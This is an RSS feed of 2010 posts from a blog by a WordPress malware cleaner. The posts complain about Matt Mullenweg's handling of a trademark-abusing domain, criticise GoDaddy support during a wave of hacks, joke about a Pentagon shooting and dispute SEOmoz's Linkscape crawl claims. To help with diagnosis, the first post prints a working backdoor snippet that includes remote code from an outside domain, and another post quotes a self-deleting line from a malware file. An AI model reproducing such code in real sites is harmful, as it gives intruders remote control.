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	<title>Smackdown! &#187; WTF</title>
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		<title>WordPress Hacking, Matt Mullenweg, And Some Screwed Up Priorities</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/06/01/wordpress-hacking-matt-mullenweg-and-some-screwed-up-priorities/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/06/01/wordpress-hacking-matt-mullenweg-and-some-screwed-up-priorities/#comments</comments>
		<pubDate>Tue, 01 Jun 2010 12:45:42 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[bad research]]></category>
		<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[lackofmeds]]></category>
		<category><![CDATA[priorities]]></category>
		<category><![CDATA[scams]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[WTF]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=694</guid>
		<description><![CDATA[I clean WordPress installations for people who have been hacked. I can help fix non-Wordpress sites as well, but since often times the way people find me is through the guide I wrote on how to fix WordPress after you&#8217;ve been hacked it turns out that&#8217;s what they need me to do for them a [...]]]></description>
			<content:encoded><![CDATA[<p>I clean WordPress installations for people who have been hacked. I can help fix non-Wordpress sites as well, but since often times the way people find me is through the guide I wrote on <a href="http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/" target="_blank">how to fix WordPress</a> after you&#8217;ve been hacked it turns out that&#8217;s what they need me to do for them a fair bit of the time. I have a process that I go through, and a specific set of things that I look for on every WordPress installation that I work on to make sure that it is indeed hacked, and to determine how bad the damage is. Different intrusions can leave various symptoms and clues as to how the hacker got in, and knowing this can be helpful in diagnosing the situation.</p>
<p>One of the hacks that has been around for a few years<span id="more-694"></span> has the symptoms of having an index.php in the root installation that has the following code in it:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>16
17
18
19
20
21
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #009933; font-style: italic;">/** Loads the WordPress Environment and Template */</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'license'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #339933;">@</span><span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'http://wordpress.net.in/license.txt'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">require</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'./wp-blog-header.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>The index.php found in a clean installation of WordPress does not have an IF statement in it, and the section that is actually delivering the hack is the statement telling the page to include() license.txt located on wordpress.net.in. If you try to view that page in a browser what you currently would see is version 3 of the <a href="http://www.gnu.org/licenses/gpl.html" target="_blank">GNU General Public License</a>. However, if the file is called as an include(), it instead delivers code that acts as a back door and allows, I believe, the injection of an erroneous administrator into the WordPress installation. From there pretty much anything can be done.</p>
<p>The wordpress.net.in domain itself, which is being used to deliver this hack, was originally registered back in April 2007, supposedly to some guy in Massachusetts:</p>
<p><img src="/images/wordpress.net.in-a.png" onmouseup="hl2l(event);" alt="Original registration information"></p>
<p>A little over 3 years later, after at least 31 changes in domain registration information, the domain is still supposedly registered to some guy in  Massachusetts, although not to the same person:</p>
<p><img src="/images/wordpress.net.in-d.png" onmouseup="hl2l(event);" alt="Current registration information"></p>
<p>The domain has been used for these hacking activities the entire time it has existed. There has never been a legitimate site residing on it.</p>
<p>By checking the IP address of where the site is now, it appears to be hosted by a firm operating under the name Extended Host Inc, which according to <a href="http://whois.domaintools.com/extendedhost.com" target="_blank">their whois information</a> is located in Canada. However, they don&#8217;t seem to actually have a website where someone could get hosting services, and their IP is <a href="http://www.db.ripe.net/whois?form_type=simple&#038;full_query_string=&#038;searchtext=194.110.161.180&#038;do_search=Search" target="_blank">located over in Amsterdam</a>. This is what <a href="http://www.spamhaus.org/sbl/sbl.lasso?query=SBL60306" target="_blank">Spamhaus had to say</a> about Extended Host:</p>
<p><img src="/images/spamhaus-extended-host.png" onmouseup="hl2l(event);" alt="Extended Host - spam, scam, cybercrime hosting"></p>
<p>While none of this actually tells us anything about who the real owner of the domain is, what it does tell us is that there is very little that can be done about it. The hosting company is a scam, so there is no one to contact to have them take the website down. Even if the current bandwidth provider did decide to take action against them they could simply move to a new provider. There are plenty of hacker and spammer friendly hosts out there to choose from. The sad truth is that there is little that honest concerned netizens such as you or I can do to take a website like this offline. It is a shame, too, because taking the website down would mean that the hack it is being used for, across however many thousands of WordPress installations out there that are infected, would no longer be effective. It would nullify the damage, even for those blog owners who do not know that they are hacked.</p>
<p>No, there really isn&#8217;t much that you or I could do about that site&#8230; but there is actually someone who could do something, if they so wanted. You see, the domain in question, wordpress.net.in, consists entirely of the WordPress trademark, a trademark owned by Automattic Inc, the company founded by one <a href="http://ma.tt/" target="_blank">Matt Mullenweg</a>, the original creator of WordPress. According to their website they are quite aware of the fact that <a href="http://wordpress.org/about/domains/" target="_blank">using WordPress in a domain is a trademark violation</a>, and trademark violations are pretty much the one thing that allows one person to legitimately take a domain from another person without their consent. According to the <a href="http://www.icann.org/en/udrp/udrp-policy-24oct99.htm" target="_blank">ICANN Domain Name Dispute Resolution Policy</a> there are 3 conditions that must be met for this to happen:</p>
<ul>
<li style="list-style: none;">(i) your domain name is identical or confusingly similar to a trademark or service mark in which the complainant has rights; and</li>
<li style="list-style: none;">(ii) you have no rights or legitimate interests in respect of the domain name; and</li>
<li style="list-style: none;">(iii) your domain name has been registered and is being used in bad faith.</li>
</ul>
<p>In this case 1 is a no-brainer&#8230; the domain name is an exact match for the trademark in question. I am pretty sure that unless the owner of the domain name turns out to be one of the other founders of Automattic number 2 will pass the test without question as well. As for requirement 3, I don&#8217;t think you could really get more &#8220;bad faith&#8221; than deliberately using the domain name to hack other websites. If Matt actually cared he would have no problem wrestling control of that domain name from whoever it is that actually owns it, and shutting it down altogether, and yet he has done nothing about it for over <em>three years</em> now. Apparently Matt is so obsessively concerned with his <a href="http://tomuse.com/matt-mullenweg-automattic-wordpress-themes-plugins-developer/" target="_blank">crusade against non-GPL WordPress plugin and theme developers</a> that he doesn&#8217;t have the time or energy to go after someone using his trademark to hack software he wrote.  In his campaign against the evils of non-GPL he has even gone so far as to start <a href="http://wordcamphowto.wordpress.com/2010/05/19/fyi-im-taking-over-as-central-liaison/" target="_blank">banning people from speaking at or sponsoring Wordcamp events</a> if they are &#8220;non-GPL-compliant&#8221; (a determination, btw, which is solely made by Matt and company, with apparently no procedure in place for appeals):</p>
<blockquote><p>They are welcome to attend, but WordCamps may not have non-GPL-compliant people as organizers, sponsors, or speakers. Events that want to move forward and include such individuals in these roles may need to use a name other than WordCamp if the appropriate adjustments can&#8217;t be made. &#8211; <em>Jane Wells, WordCamp &#8220;central liaison&#8221;</em></p></blockquote>
<p>That&#8217;s right&#8230; if you wish to put the effort into organizing an event that promotes WordPress in your community, and you take the time to raise the money yourself to do so, but you happen to be a person who directly sells premium themes, then you damn well better not use their trademarked name for the event. If you want to spread viruses, hack servers, and promote spam, however&#8230; hell, feel free to use their core trademark in your domain name. It&#8217;s not like they are going to actually do anything about it.</p>
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		<slash:comments>16</slash:comments>
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		<title>GoDaddy&#8217;s Suggestion For The Cause Of Their Hacks And Their Community Blog &#8211; Can You Smell The Irony?</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/05/14/godaddys-suggestion-for-the-cause-of-their-hacks-and-their-community-blog-can-you-smell-the-irony/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/05/14/godaddys-suggestion-for-the-cause-of-their-hacks-and-their-community-blog-can-you-smell-the-irony/#comments</comments>
		<pubDate>Fri, 14 May 2010 20:52:41 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[customer service]]></category>
		<category><![CDATA[lackofmeds]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[Social Media]]></category>
		<category><![CDATA[web design]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[WTF]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=680</guid>
		<description><![CDATA[Yesterday I blogged about the hacking situation with GoDaddy hosting and a customer service call I had with them concerning some evidence I had found. While it is true that as this has progressed GoDaddy has widened their scope in investigating what the underlying cause of these hacks are, initially they claimed that the issue [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday I blogged about the <a href="http://smackdown.blogsblogsblogs.com/2010/05/13/hosting-with-godaddy-might-want-to-rethink-that-decision/" target="_blank">hacking situation with GoDaddy hosting</a> and a customer service call I had with them concerning some evidence I had found. While it is true that as this has progressed GoDaddy has widened their scope in investigating what the underlying cause of these hacks are, initially they claimed that the issue was with their customers running outdated versions of WordPress. While being wrong about something like that is usually not <em>that</em> big of a deal, in this particular instance it proved to be beyond irksome, since a large portion of their customer base were told that it was their own fault that their sites got hacked (even in cases where the customer was up to date), and that GoDaddy <a href="http://wordpress.org/support/topic/391658#post-1498431" target="_blank">was in no way to blame</a>:</p>
<blockquote><p>WordPress is a-ok. Go Daddy is rock solid. Neither were &#8216;hacked,&#8217; as some have speculated.</p>
<p>After an extensive investigation, we can report there was a small group of customers negatively impacted. What happened? Those users had outdated versions of the popular blogging software, set up in a particular way. &#8211; <em>Alicia from GoDaddy</em></p></blockquote>
<p>From what I have read around the web customers were being told that it was not GoDaddy&#8217;s responsibility to fix the sites, that they only offered &#8220;limited support&#8221; in situations like this, leaving people with only the option of restoring from a backup (which would often not help even in outdated WordPress hack situations, since hacks can go undetected for months) or hiring outside help to clean things up.</p>
<p>You can see on the support page they have set up, <a href="http://community.godaddy.com/godaddy/whats-up-with-go-daddy-wordpress-php-exploits-and-malware/" target="_blank">What’s Up with Go Daddy, WordPress, PHP Exploits and Malware?</a> that they still claim that outdated scripts are part of the problem. Going to that page and viewing the source reveals something almost unbelievable:</p>
<p><a href="/images/godaddy-outdated-wordpress-lg.png" target="_blank"><img src="/images/godaddy-outdated-wordpress-sm.png" border="0" alt="GoDaddy outdated software...?" onmouseup="hl2l(event);"></a><br />
(<em>click to enlarge</em>)</p>
<p>That&#8217;s right, in a classic &#8220;do as I say, not as I do&#8221; twist it seems that GoDaddy is in fact running an older version of WordPress (WordPress MU, based on the version number, which has the same security holes as regular WordPress) for their community blog that they are using to tell people to upgrade their WordPress versions.</p>
<p>To be fair, simply having an older version of WordPress does not mean that it is automatically insecure&#8230; the security fixes in the more recent versions may be minor and the known vulnerabilities might have been manually patched. I can&#8217;t know without actually digging deeper and <em>looking</em> if in fact the installation was vulnerable.</p>
<p>Then again&#8230; neither can GoDaddy in the case of their customers.</p>
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			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/05/14/godaddys-suggestion-for-the-cause-of-their-hacks-and-their-community-blog-can-you-smell-the-irony/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
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		<item>
		<title>Hosting With GoDaddy? Might Want To Rethink That Decision.</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/05/13/hosting-with-godaddy-might-want-to-rethink-that-decision/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/05/13/hosting-with-godaddy-might-want-to-rethink-that-decision/#comments</comments>
		<pubDate>Thu, 13 May 2010 15:04:59 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[customer service]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[WTF]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=671</guid>
		<description><![CDATA[One of the services I offer people is cleaning their WordPress installations of hacks and infections, mostly for those who might not have the time or technical expertise to follow my hacked WordPress cleaning guide. Therefore when something happens that increases the number of people getting hacked, such as when a new exploit is discovered, [...]]]></description>
			<content:encoded><![CDATA[<p>One of the services I offer people is cleaning their WordPress installations of hacks and infections, mostly for those who might not have the time or technical expertise to follow my <a href="http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/">hacked WordPress cleaning guide</a>. Therefore when something happens that increases the number of people getting hacked, such as when <a href="http://lorelle.wordpress.com/2009/09/04/old-wordpress-versions-under-attack/" target="_blank">a new exploit is discovered</a>, or a security hole in a large host starts getting exploited (like <a href="http://blog.networksolutions.com/2010/we-feel-your-pain-and-are-working-hard-to-fix-this/" target="_blank">what happened with Network Solutions last month</a>), I get an increase in the number of people requesting help cleaning things up. This month it started happening with a large number of <a href="http://www.godaddy.com/" target="_blank">GoDaddy</a> customers.</p>
<p>When it first started to happen I did some searching around, and noticed that there was some discussion going on about the heightened GoDaddy hacking activity, but at that time everything I read that stated the problem was with GoDaddy customers all had roots pointing back to a single post on a company blog that didn&#8217;t offer enough details for me to really see why it was happening there and not other places. Not that WordPress on other hosts weren&#8217;t still getting hacked, but there has definitely been a higher concentration of instances on GoDaddy. GoDaddy was definitely aware of the issue, and even replied in some threads on the <a href="http://wordpress.org/support/topic/391658" target="_blank">WordPress.org help forum</a>:</p>
<blockquote><p>GoDaddy.com did send out a notification to customers affected by this issue. Although I know you would prefer not to be linked, I want to avoid flooding the forum. For a step-by-step guide to update WordPress, please visit <a href="http://fwd4.me/NGN" target="_blank">http://fwd4.me/NGN</a> &#8211; <em>Alicia from GoDaddy.com</em></p></blockquote>
<p>The link to their &#8220;step-by-step guide&#8221; to updating WordPress turns out to be nothing more than than a link back to WordPress&#8217; own guide to upgrading, and links on how to back up your stuff on GoDaddy. Decidedly not step-by-step imo, and in this case not all that helpful. If the reason your site gets hacked is due to you running an older, insecure version of WordPress, once that happens simply upgrading will not fix the issue. This seems to me to be a bit of a lame response to a serious issue coming from a company that bills itself as the &#8220;World&#8217;s largest Hosting Provider&#8221;. </p>
<p>GoDaddy keeps <a href="http://community.godaddy.com/godaddy/wordpress-compromised-how-to-fix-it/" target="_blank">insisting that the problem is due to outdated WordPress installations</a>, and that staying up to date and site security is the responsibility of the customer, not of GoDaddy. In one sense I completely agree with them. If you run an older version of WordPress that has known security holes in it (ie. pretty much all versions aside from the most recent) then the odds are that you are going to get hacked. Most of the clients I cleaned from GoDaddy so far were up to date, running version 2.9.2, but this still didn&#8217;t mean that it was GoDaddy&#8217;s fault, since it is possible for a site to get hacked and no signs show up for months. This means that the sites I was cleaning could potentially have had the hack from an older version, and it only became apparent some time after they upgraded. </p>
<p>The problem is that after doing some <em>very</em> thorough clean up jobs (ie. wipe and reinstall), and making sure the clients were up to date, all passwords changed, all image files verified as actual images, clean WordPress, clean theme, clean plugins, and hand cleaning the database, I had clients <strong>still</strong> getting re-hacked.</p>
<p>One client I had was having issues with funky characters in his posts. He would make the post, everything would be fine, and then the next day they would be converted in a way that would make them display as unicode. This was well after I had done my cleaning, and no one should have made any changes to the database since then. My assumption was that GoDaddy themselves was making changes, possibly security upgrades related to the recent hacking waves, and I figured that calling them to see what they had done would be the best bet. In preparation for this I went ahead and logged into the client&#8217;s account, and ftp&#8217;d into the server just to make sure everything looked like it was in place still. As soon as I did I saw that about 30 minutes before a brand new, non-Wordpress, oddly named php file had been dropped into my client&#8217;s site.</p>
<p>I downloaded the file and looked at it. I suddenly realized that this was the source file for all of the hacks that were happening. It was named &#8220;plan_erich.php&#8221;, and had similar eval(base64_decode( instruction at the top of the file. I modified the code to be able to decrypt it safely, and looked through the output (which you can view <a href="/images/plan_erich_php.txt">here</a>). The script was designed to delete itself as soon as it ran:</p>
<p><code>$z=$_SERVER["SCRIPT_FILENAME"];
@unlink($z);</code></p>
<p>Finding this script before it was triggered and deleted itself was raw luck. Catching this file gave a great opportunity to actually track down how these hacks are occurring, and possibly would leave clues that GoDaddy could use to keep it from happening again. Looking at the owner/creator of the file, and matching that timestamp up with the various logs  (ftp, ssh, http, mysql, etc) could give GoDaddy the information needed to figure out how the file <em>really</em> got there, instead of just guessing that WordPress was the issue. I have never seen a file like this before, and searching Google for the name yielded no results, so there really was no other information out there available on this. Finding it there was a little like hitting the lottery in that respect, random and very, very good luck.</p>
<p><strong>The problem, however, is that GoDaddy didn&#8217;t seem to care.</strong> I called and explained to the woman I spoke with exactly what it was that I found and how it could be useful. I told her that matching up that file to the logs could yield some potentially valuable information. She did listen carefully, and I am pretty sure she understood what I was saying, because she asked if she could put me on hold to go talk with someone who might know more. She came back and informed me that <em>she didn&#8217;t have permission to look at those logs</em>.</p>
<p>I explained again, in a little more detail, why looking at the section of those logs was very important, and if she didn&#8217;t have permission could she please escalate the ticket to someone who did. Again, she put me on hold. This time she came back and told me that <em>they were uninterested in escalating it</em>. </p>
<p>At this point I was a teensy bit amazed at GoDaddy&#8217;s lack of concern with the issue. She very kindly informed me that the issue was that the client was running an older version of WordPress, and that we needed to upgrade. Wtf? I went and looked, and made sure that he was indeed still running the 2.9.2 version that I had installed over a week ago (and remember, he was running that version before I ever did anything), and he was. I told her that. She told me that no, she was looking at what the hosting control panel said, and that he was running version 2.6.</p>
<p>That was when it struck me&#8230; GoDaddy was claiming that this wave of WordPress hacks was due to clients not upgrading <em>without even bothering to really look at the clients sites</em>. The hosting control panel can only report what was installed via the hosting control panel itself. If a client pushes the button to upgrade WordPress from within the WordPress admin section then the hosting control panel will never know. </p>
<p>As amazing as it seems, apparently <strong><em>the entire GoDaddy technical support team is ignorant of this fact</em></strong>. That&#8217;s right&#8230; the  &#8220;World’s largest Hosting Provider&#8221; doesn&#8217;t understand the very basics of how the world&#8217;s largest blogging platform works.</p>
<p>Something, probably a hosting configuration, is allowing GoDaddy customers to have their sites hacked, and it isn&#8217;t file permissions, insecure passwords, or out of date software. Not being willing to even <em>look</em> when a developer calls to tell you that they found something is completely unacceptable. My suggestion to all GoDaddy hosting customers: bail now, before something happens to your site. This is not a WordPress issue only&#8230; although it seems to have targeted WordPress customers first, all sites that use php are at risk. Personally for shared hosting I recommend <a href="http://www.jdoqocy.com/nd115shqnhp48779B7A465965D68" target="_blank">Hostgator</a><img src="http://www.ftjcfx.com/6l98y7B-53PTSSUWSVPRQURQYRT" width="1" height="1" border="0"/>, because I love their tech support (and their servers are very robust), but there are plenty of hosts out there to choose from (Disclosure: I changed the previous link to an affiliate link, although if you&#8217;d rather purchase hosting from them without giving me credit that&#8217;s fine too, here is a clean link for you: <a href="http://www.hostgator.com/" target="_blank">HostGator</a>).</p>
<p><a href="http://www.bobparsons.me/" target="_blank">Bob Parsons</a>, I am sorry. Hot chicks and a strong tits and ass marketing campaign do <em>not</em> make up for apathy in matters of client security and well being.</p>
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		<slash:comments>159</slash:comments>
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		<title>How NOT To Test If You Are Neo From The Matrix</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/03/05/how-not-to-test-if-you-are-neo-from-the-matrix/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/03/05/how-not-to-test-if-you-are-neo-from-the-matrix/#comments</comments>
		<pubDate>Fri, 05 Mar 2010 19:21:20 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[lackofmeds]]></category>
		<category><![CDATA[WTF]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=524</guid>
		<description><![CDATA[Yesterday there was a tragic incident involving a lone gunman attacking the U.S. Pentagon. According to reports, the man intended to carry out this attack with 2 handguns and &#8220;many magazines&#8221; of ammunition. It probably would have worked, too, except that apparently he had a couple of flaws in his plan&#8230; like, forgetting to have [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday there was a tragic incident involving a <a href="http://www.msnbc.msn.com/id/35716821/ns/us_news-crime_and_courts/" target="_blank">lone gunman attacking the U.S. Pentagon</a>. According to reports, the man intended to carry out this attack with 2 handguns and &#8220;many magazines&#8221; of ammunition.</p>
<p>It probably would have worked, too, except<span id="more-524"></span> that apparently he had a couple of flaws in his plan&#8230; like, forgetting to have Tank upload the martial arts program first. Or not bringing a big assed duffel bag of fully automatic guns with him. Or waiting until <em>after</em> he passed through the metal detectors, for that added element of surprise&#8230;</p>
<p><strong>&#8230; or not bringing Trinity with him&#8230;</strong></p>
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<p><em>Please note &#8211; I do agree that this was very sad that the gentleman in question did what he did, regardless of what his reasons are. Also, I do not condone violence of any kind&#8230; unless of course they really are holding Morpheus, in which case all bets are off.</em></p>
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		<title>Why The Renewed Interest In The Linkscape Scams And Deception..?</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/01/22/why-the-renewed-interest-in-the-linkscape-scams-and-deception/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/01/22/why-the-renewed-interest-in-the-linkscape-scams-and-deception/#comments</comments>
		<pubDate>Fri, 22 Jan 2010 22:15:25 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[lackofmeds]]></category>
		<category><![CDATA[psychoblogging]]></category>
		<category><![CDATA[scams]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[WTF]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=433</guid>
		<description><![CDATA[Yesterday a friend of mine, Sebastian, wrote a post titled, &#8220;How do Majestic and LinkScape get their raw data?&#8220;. Basically it is a renewed rant about SEOmoz and their deceptions surrounding the Linkscape product that they launched back in October 2008, a little over 15 months ago. The controversy is based around the fact that [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday a friend of mine, <a href="http://twitter.com/SebastianX" target="_blank">Sebastian</a>, wrote a post titled, &#8220;<a href="http://sebastians-pamphlets.com/linkscape-opensiteexplorer-majestic-data-sources-shady-or-not/" target="_blank">How do Majestic and LinkScape get their raw data?</a>&#8220;. Basically it is a renewed rant about SEOmoz and their deceptions surrounding the Linkscape product that they launched back in October 2008, a little over 15 months ago. The controversy is based around the fact that moz basically lied about how it was exactly they were obtaining their data, which in part was probably motivated by wanting to make themselves look like they were more technically capable than they actually are.</p>
<p>Now, I covered this back when the launch actually happened, in <a href="http://smackdown.blogsblogsblogs.com/2008/10/17/how-to-block-the-bots-seomoz-isnt-telling-you-about/" target="_blank">this Linkscape post</a>, resulting in quite a few comments, and there was more than a little heated conversation in the <a href="http://sphinn.com/story/79700" target="_blank">Sphinn thread</a> as well. This prompted some people, both on Sebastian&#8217;s post and in the Sphinn thread on it, to ask <a href="http://sebastians-pamphlets.com/linkscape-opensiteexplorer-majestic-data-sources-shady-or-not/#comment-2184" target="_blank">why all of the renewed interest</a>?</p>
<blockquote><p>It is not extreme, its just that it isn’t new. The fact that they bought the index (partially)? That was known from the beginning. The fact that they don’t provide a satisfying way of blocking their bots (or the fact that they didn’t want to reveal their bots user agent)? Check. The fact that they make hyped statements to push Linkscape? Check. {&#8230;} I don’t get the renewed excitement. &#8211; <em>Branko, aka <a href="http://www.seo-scientist.com/" target="_blank">SEO Scientist</a></em></p></blockquote>
<p>Well, I guess you could say that it&#8217;s my fault. Or, you could blame it on SEOmoz themselves, or their employees, depending on how you look at it. You see, the story goes like this&#8230;</p>
<p>Back when SEOmoz first launched Linkscape, it would have been damn near impossible for a shop their size to have performed the feats they were claiming, all on their own. Rand was making the claim &#8220;Yes &#8211; We spidered all 30 billion pages&#8221;. He also claimed to have done it within &#8220;several weeks&#8221;. Now, even if we stretch &#8220;several&#8221; to mean something that it normally would not, say, 6 (since a 6 week update period is now what they are claiming for the tool), we&#8217;re still talking a huge amount of resources to accomplish that task. A conservative estimate of the average website, considering only html, is 25KB of text:</p>
<p>30,000,000,000 websites x (25 x 1024) bytes per website = 768,000,000,000,000 bytes of data (768 trillion bytes, which is 698.4TB)</p>
<p>(698.4TB / 45 days of crawling) x 30 days in a month = 465.6TB bandwidth per month</p>
<p>Now, I know that one of the reasons that Rand can get away with some of his claims is that most people just don&#8217;t grasp the sheer size<span id="more-433"></span> of those numbers. In todays age, bandwidth is cheap, with many hosts even boasting of unmetered, or unlimited, bandwidth on their accounts, and computers are fast. But in reality the reason they can make those claims is that in all likelihood no one on a shared server or a cluster will ever hit their bandwidth limit, because their processor usage will cause them to go over their limits way before actual data transfer becomes an issue. On dedicated servers, where the resources are not shared, hosts actually care about how much bandwidth you use. For instance, last August <a href="http://www.shareasale.com/r.cfm?b=106084&#038;u=189767&#038;m=15362&#038;urllink=&#038;afftrack=" target="_blank">The Planet</a> (one of the best hosts I know of for dedicated servers) upgraded their plans to offer 10TB/month at no additional cost. Prior to that they only included 1TB with their plans. On most hosts the charges for people who go over their bandwidth allotment are usually rather steep. </p>
<p>This means that basically for what Rand was claiming to be 100% true, they pretty much would have needed to own their own datacenter. Now, these days, of course, there is another option. Five months ago a new company, named <a href="http://80legs.com/" target="_blank">80legs</a>, came out of beta. With 80legs pretty much anyone can build their own spiders, run them on 80leg&#8217;s servers, and spider 2 billion pages per day. They can do this of course because they rent the service out to many people, it&#8217;s not just one company powering one link tool. However, 15 months ago when moz launched their tool, 80legs wasn&#8217;t an option.</p>
<p>So, I called them on their claims, and a bit of controversy followed from it. Moz refused to clearly identify how they were actually gathering the data, and would not release information on how to keep whatever spiders were being used off of their sites. They did release a list of fairly widespread bots, and suggested that if you wanted to keep SEOmoz from scraping your sites via robots.txt, well, then, you&#8217;re just going to have to block Google, Yahoo, and MSN as well. They also came up with their lame assed version of a &#8220;solution&#8221; to people&#8217;s concerns, and stated that people could also add an SEOmoz meta tag to their pages to keep them from being indexed (which would not, however, keep them from being crawled in the first place). Despite the fact that many webmasters made it clear that this was unacceptable, to date nothing about that situation has changed. They still do not offer a clear concise way to allow webmasters to instruct SEOmoz to not spider their site, or give people an option to keep information about their site from showing in the Linkscape data.</p>
<p>The thread on Sphinn went where it did, and the next day one of the admin&#8217;s decided to close the discussion, even though it was far from being resolved. No more comments were allowed. Period. End of story.</p>
<p>I moved on.</p>
<p>Fast forward 15 months. I get an email from SEOmoz, touting their new tool, which is apparently powered from the Linkscape index. So, I trot on over and take a look. There, on the front page, are their same outrageous claims&#8230; only more so. The graphic stats that in the past 45 days, they have crawled 700 Billion Links, 55 Billion URLs, and 63 Million Root Domains:</p>
<p><img src="/images/ls-crawl-stats.png" onmouseup="hl2l(event);"></p>
<p>Now, I and others, when this first happened, put <a href="http://sebastians-pamphlets.com/crawling-vs-indexing/" target="_blank">Rand to task</a> for trying to interchange &#8220;crawling&#8221; with &#8220;indexing&#8221;. Therefore, when he states in that graphic that they &#8220;crawled&#8221; 700 billion links in 45 days it&#8217;s not because he&#8217;s too stupid to know the difference. The SEOmoz employees know very well that they while they may have &#8220;found&#8221; an huge amount of links in their index, they did not crawl them. This is actually aside from whether or not it was them who did the actual crawling. Of course, they do try and set toss in some confusion there, just in case someone calls them on their bullshit again, by stating that they crawled 55 billion urls at the same time, as if there is some sort of relevant distinction between a url and a link&#8230; which, for crawling purposes, there isn&#8217;t. The only real way there would be a difference is if they were trying to say that 645 billion of the links they found were mailto: or javascript: links, but even if that were the case, you wouldn&#8217;t &#8220;crawl&#8221; those anyways.</p>
<p>So, upon seeing this I of course get irked all over again. I went back and revisited the <a href="http://sphinn.com/story/79700" target="_blank">unresolved Sphinn thread</a> that had gotten locked, just to refresh my memory of how the conversation went. I got to the end of the conversation, and I saw something that struck me as just a teensy bit odd:</p>
<p><img src="/images/after-the-fact.png" onmouseup="hl2l(event);"></p>
<p>Wtf? Apparently Scott Willoughby (<em>note: please see update below</em>), an employee of SEOmoz, contacted an admin or mod on Sphinn a little over 5 months ago, 9 months <em>after</em> the conversation ended, and had them unlock the thread, all so he could post this way out of left field comment calling me a liar, and then had them lock it again. I mean, seriously. Why the hell would someone do that? A little over 5 months ago&#8230; hm&#8230; what happened 5 months ago&#8230; wait! Wasn&#8217;t that when 80legs.com went live? I wonder&#8230;</p>
<p>So, off I went to look at the list of &#8220;sources&#8221; that SEOmoz had listed on Linkscape. Lo and behold, there it was:</p>
<p><img src="/images/new-ls-source.png" onmouseup="hl2l(event);"></p>
<p>So it seems that what happened is that in the summer of 2009 SEOmoz learned that there was a new service about to go live, one that had it existed way back when Linkscape launched would have provided an alibi to moz&#8217;s claims, one that would at least put them in the realm of  feasibility. Therefore they went through the effort of having the thread re-opened, just so that someone could post one more claim that yes, they actually did crawl their own data. Of course, this still doesn&#8217;t explain a damn thing about what user agent they were (or are, for that matter) using, or how to keep those bots from hitting your site. Apparently someone in the organization felt strongly enough that it is possible to have future technology retroactively bolster bullshit claims that they actually went down the path of trying to cover their tracks that way.</p>
<p>I sent some messages to Sebastian about all this, since I knew he&#8217;d get a kick out of them yet again trying to confuse people about spidering vs. crawling, and that prompted him to blog about the whole thing again. </p>
<p>On a side note, I do want to address a recurring theme that keeps coming up in the comments throughout this whole issue. Some people are asking, if the tool is useful, who cares if they lie to promote it? Without getting into the whole argument over whether or not link intelligence is worth $800/year when the majority of it is available for free, there are both ethical as well as legal ramifications about what SEOmoz is doing. One of the biggest selling points for this is that this data is presented with SEOmoz&#8217;s own metric, something that they have dubbed as mozRank (mR). This metric is exclusive to SEOmoz, and <em>only holds value if it&#8217;s not more made up bullshit</em>. If they do indeed get exposed for selling snake oil, then anything sold under the pretext of &#8220;we&#8217;re experts&#8230; trust us!&#8217; becomes worthless. </p>
